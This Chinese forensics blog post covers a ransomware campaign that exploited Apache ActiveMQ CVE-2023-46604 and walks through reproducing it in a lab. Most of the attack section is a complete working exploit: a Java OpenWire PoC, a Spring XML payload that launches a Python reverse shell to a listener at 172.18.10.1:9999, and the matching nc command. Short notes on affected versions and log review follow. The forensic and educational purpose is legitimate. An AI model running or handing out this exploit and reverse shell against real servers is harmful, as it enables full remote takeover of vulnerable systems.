技術(shù)分享 | 取證揭秘:Apache ActiveMQ漏洞背后的勒索軟件攻擊
共 7929字,需瀏覽 16分鐘
·
2024-07-26 17:15
在最近的一起案件中,筆者發(fā)現(xiàn)了一起利用Apache ActiveMQ(CVE-2023-46604)漏洞的勒索軟件攻擊活動(dòng)。在案件分析中發(fā)現(xiàn),漏洞不僅被用于部署勒索軟件,攻擊者還通過該漏洞成功部署了SparkRAT。這是一個(gè)使用Go語言編寫的跨平臺(tái)遠(yuǎn)程控制木馬,增加了對(duì)受害系統(tǒng)的遠(yuǎn)程控制和操控風(fēng)險(xiǎn)。
Apache ActiveMQ(CVE-2023-46604)漏洞被視為ActiveMQ中最嚴(yán)重的漏洞之一。攻擊者可構(gòu)造惡意請(qǐng)求通過Apache ActiveMQ的61616端口發(fā)送惡意數(shù)據(jù)導(dǎo)致遠(yuǎn)程代碼執(zhí)行,從而完全控制Apache ActiveMQ服務(wù)器。
從2023年10月25日首次發(fā)現(xiàn)至截至2024年1月9日,通過ZoomEye網(wǎng)絡(luò)空間搜索引擎檢索,發(fā)現(xiàn)約282557個(gè)潛在受影響的IP地址歷史記錄,主要分布在中國等國家。
1.(ubuntu) 靶機(jī),設(shè)置IP地址為:172.18.10.129。
2.(ubuntu)apache-activemq-5.15.10,案件中提取到的漏洞服務(wù)程序。
3.(windows)取證工作機(jī),設(shè)置IP地址為:172.18.10.1。
4.(windows)Netcat ,是網(wǎng)絡(luò)測(cè)試工具。
5.(windows)NFS ,是http服務(wù)器。
復(fù)現(xiàn)過程中使用的工具和代碼下載地址:
| https://pan.forensix.net:7001/f/7acc591d8e3b40fcba41/ |
步驟一:創(chuàng)建一個(gè)“Ubuntu 22.04 LTS”的靶場(chǎng)主機(jī),配置好python和java環(huán)境
步驟二:安裝Apache-activemq-5.15.10服務(wù)程序
1. 解壓Apache-activemq-5.15.10壓縮包文件
通過XFTP工具上傳到/data工作目錄下,并進(jìn)行解壓。
2. 啟動(dòng)Apache-activemq-5.15.10 服務(wù)程序
進(jìn)入bin目錄
| cd /data/apache-activemq-5.15.10/bin |
啟動(dòng)服務(wù)程序
| ./activemq start |
ActiveMQ的靶場(chǎng)已經(jīng)準(zhǔn)備成功(使用瀏覽器訪問http://172.18.10.129:8161可以驗(yàn)證)。
步驟三:漏洞復(fù)現(xiàn)
復(fù)現(xiàn)過程中使用的工具和代碼下載地址:
| https://pan.forensix.net:7001/f/7acc591d8e3b40fcba41/ |
在Windows取證電腦上進(jìn)行:
1. 創(chuàng)建D:\tools\poc\exploit目錄
2. 創(chuàng)建poc.java程序
import java.io.*;import java.net.Socket;public class poc {public static void main(final String[] args) throws Exception {System.out.println("[*] Poc for ActiveMQ openwire protocol rce");String ip = "172.18.10.129"; **此處是ActiveMQ服務(wù)IPint port = 61616; **此處是ActiveMQ服務(wù)端口String pocxml= "http://172.18.10.1:8000/poc.xml";**此處是指向http服務(wù)的POC.xmlSocket sck = new Socket(ip, port);OutputStream os = sck.getOutputStream();DataOutputStream out = new DataOutputStream(os);out.writeInt(0);out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();System.out.println("[*] Target\t" + ip + ":" + port);System.out.println("[*] XML address\t" + pocxml);System.out.println("[*] Payload send success.");}}
3. 創(chuàng)建poc.xml程序
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>python</value> **此處是調(diào)用python命令去執(zhí)行shell命令。<value>-c</value><value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.10.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value> **此處是172.18.10.1 控制端的9999端口</list></constructor-arg></bean></beans>
4. 配置NC程序
進(jìn)入程序目錄:
| D:\tools\poc\NC |
| nc -L -p 9999 |
5. 配置HTTP服務(wù)器
進(jìn)入程序目錄:
| D:\tools\poc\nfs |
6. 運(yùn)行poc惡意程序
進(jìn)入目錄文件夾
| D:\tools\poc\exploit |
找到已創(chuàng)建的Poc文件:
運(yùn)行poc惡意程序:
| java poc.java |
最終結(jié)果:
成功反彈shell后,取得控制權(quán),隨后執(zhí)行"ip addr"指令查看被控端的IP地址,結(jié)果如下:
1. 查看ActiveMQ版本號(hào)
| ./activemq --version |
影響版本:
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
2. 找到ActiveMQ的日志文件:
3. 分析相關(guān)日志信息
重點(diǎn)檢查ActiveMQ的訪問日志,通常記錄有關(guān)連接和請(qǐng)求的信息。查找與8161和61616端口相關(guān)的日志條目,特別關(guān)注連接失敗、異?;蚍钦P袨椤?/span>
本篇文章帶大家深入地了解了攻擊的整個(gè)過程,以及對(duì)遭受攻擊的系統(tǒng)進(jìn)行的詳細(xì)調(diào)查,包括搜集有關(guān)漏洞利用的系統(tǒng)日志、網(wǎng)絡(luò)通信記錄以及其他數(shù)字證據(jù)。通過詳細(xì)的取證工作,我們可以更全面地了解攻擊者的手法,為后續(xù)的安全修復(fù)和法律調(diào)查提供有力支持。
供稿:趙弘
編輯排版:Serene
審核:Spartan117
